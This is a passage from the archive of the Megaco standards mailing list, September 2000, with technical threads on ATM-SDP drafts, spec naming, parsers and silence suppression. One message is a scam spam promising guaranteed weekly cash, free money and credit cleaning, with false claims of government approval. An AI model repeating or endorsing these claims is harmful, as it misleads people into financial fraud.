ATM-SDP draft?

Thanks.

~Darin


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 22:29:22 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA07992
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 22:29:21 -0400 (EDT)
Received: from standards (47.234.32.16:1693) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9A087@standards.nortelnetworks.com>; Thu, 28 Sep 2000 22:14:53 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 5921 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 22:14:52 -0400
Received: from sumomo.oiuw.oiu.ac.jp (150.57.60.11:38901) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9A075@standards.nortelnetworks.com>; Thu, 28 Sep 2000
          22:04:51 -0400
Received: from your (localhost [127.0.0.1]) by sumomo.oiuw.oiu.ac.jp
          (8.9.2/3.7W99032317) with SMTP id LAA09759; Fri, 29 Sep 2000 11:14:27
          +0900 (JST)
Message-ID:  <200009290214.LAA09759@sumomo.oiuw.oiu.ac.jp>
Date:         Fri, 29 Sep 2000 11:14:27 +0900
Reply-To: webmaster7@mktgdir.zzn.com
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: webmaster7@mktgdir.zzn.com
Subject:      Quick Cash Secret Banking System Now Revealed!
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

OPPORTUNITY IS NEVER LOST--IT JUST GOES TO THOSE WHO ARE READY!
___________________________________________________________
«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»¥«¤»§«¤»
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

IN THE NEW MILLENNIUM BUNDLES OF CASH AND
HAPPINESS CAN BE YOURS!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FREE "$1,500/WEEK CASH"  INFORMATION!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Dear Friend!
How are you today? We hope you're doing great.

We are happy to announce that after two long years of
research, revision and testing, our famous Quick Cash Secret
Banking System is now being released again to the general public,
to benefit anyone who is interested in generating a guaranteed $1,500+/week
in FAST cash without any hard work or large investment!

It is the fastest and the easiest money making system today in
the world, used by all multimillionaires to pile up
cash, without any huffing and puffing!

============================================
It is 100% legal, easy, fast and fun! There
is no scam or shady transaction! It is NOT
any kind of banking transaction you may have
heard about or know! It's Approved by
all government agencies, including the US
Treasury Dept., American and International
Banking Associations, The Fed, World bank
and US Post Office!
============================================

Have you ever wondered why a few people in the world seem
to have a "magic wand" that brings them riches and all the
good things in life, while the rest of the majority of
the people are hardly surviving? If yes, please stop
wondering and let us show you why and how!

For the first time, all the powerful, jealously guarded
SECRETS of the Rich and Powerful (that enable them to
"wheel and deal" and pile up bundles of cash) are being
released to the public, for the benefit of anyone who
seriously desires financial security and true success!

In our detailed step by step cash kit, you'll
discover one of the most powerful cash generating
secrets of the Rich and famous! How to open a "SPECIAL
Bank Account", do 1-2hrs daily legal bank transaction
and rake in $1,500+/week in solid cash! (100% legal and
guaranteed, no scam involved!)

//////////////////////////////////////////////////////
You can do it from ANY country, at anytime and
whenever you like!
/////////////////////////////////////////////////////

One of our customers in Oregon recently made a whopping
$4000 fast cash in one hour!

You'll also get  Four FREE bonus reports:

*The first will show you  how you can become our Associate
Sales Agent, (ASA) and make another extra $2,500 marketing this
famous Cash Program on the Internet! We'll set you up with
your own website, merchant account to accept credit
cards online, and an autoresponder, so that within 24hrs
of getting this powerful money making  machine, you'll start
generating solid cash!

*The second bonus will reveal to you a list of all the
insiders' sources to get  FREE MONEY (No Payback!).
You are guaranteed to get at least $10,000 to $50,000
 free cash to spend as you please, within the next month!

*The third bonus will show how to wipe out all your debts,
clean your credit history, get a new credit line worth
thousands of dollars (as good as cash!), so that you'll
enter the new millennium, with the peace of mind and good
health that you deserve!

*The fourth will show how to raise "$100,000 in 24hrs,"
by applying a little known, BUT powerful multimillionaire
cash flow strategy! It takes about 12 steps and a month
to implement this secret financial transaction, then you
can walk into your bank and legally ask your bank manager
to advance $100,000 to you, and you'll get it within 24hrs,
by law! (These information secrets are the jealously-guarded
secret millionaires' financial strategies, not available in the
library, universities, or from your financial advisor!)
We are so sure of the power of this secret cash making
system that we guarantee that you'll make money your
first week! We'll prove it to you by helping you put at
least $1000 in your pocket one week after you get this
Millionaires' Secret Banking Package! You'll have one whole
year to try it, and  then if you don't succeed for
any reason, you'll get double your money back! This is
a LEGAL, ironclad, airtight cash guarantee to show you
that we are serious!

So, if you are sick and tired of wasting your time, money
and life dibble-dabbling in harebrained moneymaking schemes
that are nothing but worthless puffery, thank your lucky
stars and send for our eye-opening free details right now!

Test us! Allow us to stuff at least $1,500 in easy fast
CASH in your pocket starting next week! Blast into the
new millennium with a new lease on life, Financial
Security, Success, Prosperity and Happiness!

Everything you know is based on what has already happened in your life.
And yet, your only influence right now is over things that have not yet
happened. The things that have already happened have gotten you to
where you are right now. What you need to be concerned with, however,
is where to go from here.

Because you're so intimately familiar with your own past, it may seem
you have no choice but to continue moving in the same direction as
before. But that is not true. Your future doesn't equal your past.
Right now, there are an infinite number of paths you can take.
The one you're currently on is only one of them. Any of the rest is
available to you.

If you're completely satisfied with where you're going, then, by all
means keep on going that way. But there's no reason in the world you
have to keep following that same path if it doesn't bring you full and
lasting fulfillment.

Every moment you have a choice, regardless of what has happened before.
Choose right now to move forward, positively, and confidently into your
incredible future.

For FREE details, hurry and Call one of the numbers below!:

Toll Free (inside USA)    1-877-262-6368

                            OR

    (USA)                503-925-0822

 Thank you and have a nice day!

Sincerely,
Media Dynamics Group

 =================End================
*****************************************
This is a legitimate business announcement, being
sent in compliance with all rules & regulations
that govern internet commerce. We respect your
privacy. Your name  is not in our mailing list so,
you'll get this e-mail only once!  You must respond
quickly to take advantage of our "special offer!
Thank you and have a nice day!
*****************************************************


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 29 06:59:44 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA26093
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 29 Sep 2000 06:59:43 -0400 (EDT)
Received: from standards (47.234.32.16:4942) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9A2FF@standards.nortelnetworks.com>; Fri, 29 Sep 2000 6:43:47 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 6730 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 29 Sep 2000 06:43:47 -0400
Received: from qhars002.nortel.com (47.101.112.102:48693) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9A2DE@standards.nortelnetworks.com>; Fri, 29 Sep 2000
          6:33:47 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Fri, 29 Sep 2000
          11:37:38 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Fri, 29 Sep 2000 06:35:34 -0400
Received: from wslexch.wipsys.soft.net (actually ecargee0.ca.nortel.com) by
          zmers013; Fri, 29 Sep 2000 06:35:25 -0400
Received: from wipro.com (SHIVAPRAKASH [192.219.223.206]) by
          wslexch.wipsys.soft.net with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id S5DR179B; Fri, 29 Sep 2000 16:06:46
          +0530
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <shiva.prakash@wipro.com>
Message-ID:  <39D4700F.17596C34@wipro.com>
Date:         Fri, 29 Sep 2000 16:03:51 +0530
Reply-To: "Shetru, Shivaprakash" <shiva.prakash@WIPRO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Shetru, Shivaprakash" <shiva.prakash@WIPRO.COM>
Subject:      Megaco simulator.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi ,

I am new to this group.  I planned to do Megaco simulator. so is
anywhere or anybody
done  parser or decoder for Megaco messages. so I can reuse it.

Thanks in advance,

shiva


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 29 11:57:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA01858
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 29 Sep 2000 11:57:45 -0400 (EDT)
Received: from standards (47.234.32.16:2533) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9A404@standards.nortelnetworks.com>; Fri, 29 Sep 2000 11:41:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 7101 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 29 Sep 2000 11:41:44 -0400
Received: from slink12.ss7-link.com (mail.ss7-link.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9A3F8@standards.nortelnetworks.com>; Fri, 29 Sep 2000
          11:31:43 -0400
Received: by SLINK12 with Internet Mail Service (5.5.2650.21) id <TXQ5P7A8>;
          Fri, 29 Sep 2000 11:43:24 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <F1BD619B2A58D41197990050DA2C08E401DB68@SLINK12>
Date:         Fri, 29 Sep 2000 11:43:23 -0400
Reply-To: Simon Zhuang <szhuang@SS7-LINK.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Simon Zhuang <szhuang@SS7-LINK.COM>
Subject:      Inconsistent names?
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Different names Context Attributes and contextProperties are used at
different places. Please see following.


6.1.1 Context Attributes and Descriptors

   The attributes of Contexts are:


   contextProperties    = contextProperty *(COMMA contextProperty)




Simon


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 29 13:47:03 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA04014
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 29 Sep 2000 13:47:01 -0400 (EDT)
Received: from standards (47.234.32.16:1444) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9A499@standards.nortelnetworks.com>; Fri, 29 Sep 2000 13:30:36 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 7304 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 29 Sep 2000 13:30:36 -0400
Received: from fns-mail.nc.fnc.fujitsu.com (int40.nc.fnc.fujitsu.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9A498@standards.nortelnetworks.com>; Fri, 29 Sep 2000
          13:30:35 -0400
Received: by fns-mail.nc.fnc.fujitsu.com with Internet Mail Service
          (5.5.2650.21) id <TH4QC8X7>; Fri, 29 Sep 2000 13:43:03 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Message-ID:  <47A44F71A511D411B12100805FE6628812E565@fns-mail.nc.fnc.fujitsu.com>
Date:         Fri, 29 Sep 2000 13:42:54 -0400
Reply-To: "Jepsen, Tom" <tom.jepsen@FNC.FUJITSU.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Jepsen, Tom" <tom.jepsen@FNC.FUJITSU.COM>
Subject:      Re: ATM Call Setup Example.
X-To:         Darin Herle <darin@VXTEL.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Darin,

In response to your questions:

1.  I included an ATM call setup example in a MEGACO presentation I gave at
an ATM Forum meeting in Barcelona, Spain in July of this year. The
presentation should be available in PowerPoint format - you can check with
Michelle Sanvictores of the ATM Forum at msanvictores@atmforum.com to see if
it is now publicly available.

2.  ATM extensions for SDP can be found in the ATM SDP draft at
<http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt>.


regards
Tom Jepsen
Fujitsu Network Communications
1000 St. Albans Drive
Raleigh, NC 27609
(919)790-3439

> -----Original Message-----
> From: Darin Herle [SMTP:darin@VXTEL.COM]
> Sent: Thursday, September 28, 2000 6:53 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      ATM Call Setup Example.
>
> I have a pair of questions related to ATM.
>
> 1.      Is there a published Megaco/ATM call setup example available?
>
> 2.      Where can I find the RTP/ATM profile - I understand its in the
> ATM-SDP draft?
>
> Thanks.
>
> ~Darin


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep 29 22:05:20 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA10299
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 29 Sep 2000 22:05:19 -0400 (EDT)
Received: from standards (47.234.32.16:3767) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9A58A@standards.nortelnetworks.com>; Fri, 29 Sep 2000 21:49:19 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 7608 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 29 Sep 2000 21:49:19 -0400
Received: from qhars002.nortel.com (47.101.112.102:60962) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9A589@standards.nortelnetworks.com>; Fri, 29 Sep 2000
          21:49:18 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Sat, 30 Sep 2000 03:03:16 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Fri, 29 Sep 2000 22:03:03 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8RQ2L>; Fri, 29 Sep 2000 22:03:02 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480E12@zcard00g.ca.nortel.com>
Date:         Fri, 29 Sep 2000 22:03:00 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Silence suppression
X-To:         Oren Kudovitzky <orenku@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

First point: since you're talking about an action on an RTP termination, it
definitely can't be a parameter in TDMC, since the latter characterizes a
TDM termination.

Second point: I guess there is no way to specify silence suppression now.
Since it is required only on the encoding side, it would be a parameter in
the Remote descriptor.  To fit in with SDP, it would likely be a payload
attribute (i.e. an "a=" parameter).  Someone should take up the cause in
MMUSIC.

> -----Original Message-----
> From: Oren Kudovitzky [mailto:orenku@AUDIOCODES.COM]
> Sent: Thursday, September 28, 2000 1:24 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Silence suppression
>
>
> I believe that silence suppression is on the RTP side.
> There are number of coders that are silence suppression
> enabled, but for the
> encoding side this feature must be specified, since silence
> suppression in
> G.723 and G.729 is optional. Althogh silence suppression need not be
> signaled on the decoder side, the encoder side should have an On/Off
> parameter, set by the Call Agent .
> I do not understand from the answer below,  how one can set
> the silence
> suppression mode of the coder under MEGACO.
>
> Oren
>
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Wednesday, September 27, 2000 8:54 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Silence suppression
> >
> >
> > Is silence suppression really something that happens on the
> > TDM side?  On
> > the RTP side, it is taken care of by the payload type
> > specification -- see
> > draft-ietf-avt-profile-new-08.txt                    section 4.1
> > (Encoding-Independent Rules) and section 4.5.4 (G.723) re SID
> > frames.  Also
> > note the use of Voice Activity Detection with G.729 in
> > section 4.5.7.  The
> > view there seems to be that silence suppression doesn't have to be
> > signalled.
> >
> > > -----Original Message-----
> > > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > > Sent: Tuesday, September 26, 2000 10:46 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Silence suppression
> > >
> > >
> > > Tom
> > >
> > > I found the draft. But silence suppression is not an ATM
> > > specific property,
> > > and I don't see why I have to adopt an ATM draft if I don't
> > > use it. I still
> > > think that it should have been a LocalControl property, just
> > > like the echo
> > > cancellation and gain control, which means it should be in
> > > the tdmc package.
> > >
> > > Nurit
> > >
> > > -----Original Message-----
> > > From: Jepsen, Tom [mailto:tom.jepsen@fnc.fujitsu.com]
> > > Sent: Monday, September 25, 2000 4:42 PM
> > > To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: RE: Silence suppression
> > >
> > >
> > > Nurit,
> > >
> > > ATM extensions for SDP are not in RFC2327, but are in an
> > > Internet Draft
> > > which can be found at
> > > <http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-
> > > atm-00.txt>.
> > > You will find a description of the silence suppression parameter
> > > (silenceSupp) in section 5.6, Media Attribute Lines.
> > >
> > > Hope this helps,
> > >
> > > Tom Jepsen
> > > Fujitsu Network Communications
> > > 1000 St. Albans Drive
> > > Raleigh, NC 27609 USA
> > > (919)790-3439
> > >
> > > > -----Original Message-----
> > > > From: Nurit Shenhar [SMTP:nurit.shenhar@AUDIOCODES.COM]
> > > > Sent: Monday, September 25, 2000 11:03 AM
> > > > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject:      Re: Silence suppression
> > > >
> > > > Hi Brian
> > > >
> > > > You are right about Annex C, but I read the SDP document
> > > (RFC2327) again
> > > > and
> > > > again and didn't find anything about it. (I found there
> > > other parameters I
> > > > need, like Bandwidth).
> > > >
> > > > I understood that Annex C is for the binary coding only, as
> > > it states at
> > > > the
> > > > opening senstence:
> > > >
> > > >    "Parameters for Local descriptors and Remote descriptors
> > > are specified
> > > >     as tag-value pairs if binary encoding is used for the
> > protocol."
> > > >
> > > >  If it should also be used for the ABNF, it will be quite
> > > difficult for
> > > > the
> > > > parser to be ready to accept both SDP and Annex C.
> > > >
> > > > Nurit
> > > >
> > > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > > > Sent: Monday, September 25, 2000 3:47 PM
> > > > To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: RE: Silence suppression
> > > >
> > > >
> > > > I was hoping one of our more "bell-head" members would
> > answer this.
> > > >
> > > > I believe that the capability exists in both SDP and Annex C,
> > > > and that is where you control it.
> > > >
> > > > Brian
> > > >
> > > > > -----Original Message-----
> > > > > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > > > > Sent: Monday, September 25, 2000 10:42 AM
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Subject: FW: Silence suppression
> > > > >
> > > > >
> > > > > Hi
> > > > >
> > > > > I Didn't get any answer for the silence suppression, so I
> > > > > send it again.
> > > > > Does anybody got an answer for that?
> > > > >
> > > > > Nurit
> > > > >
> > > > > >  -----Original Message-----
> > > > > > From:         Nurit Shenhar
> > > > > > Sent: Thursday, September 21, 2000 3:56 PM
> > > > > > To:   MEGACO (E-mail)
> > > > > > Subject:      Silence suppression
> > > > > >
> > > > > > Hi list
> > > > > >
> > > > > > I think that there should be a silence suppression property
> > > > > in the tdmc
> > > > > > package. If not, where do I get this parameter?
> > > > > >
> > > > > > Best regards
> > > > > >
> > > > > > Nurit Shenhar
> > > > > > AudioCodes Ltd.
> > > > > > Direct: +972-3-539-4155
> > > > > > Tel:     +972-3-539-4000
> > > > > > Fax:    +972-3-539-4040
> > > > > > email:  nurit.shenhar@audiocodes.com
> > > > > >
> > > > > > web:    <http://www.audiocodes.com>
> > > > > >
> > > > > >
> > > > >
> > >
> >
>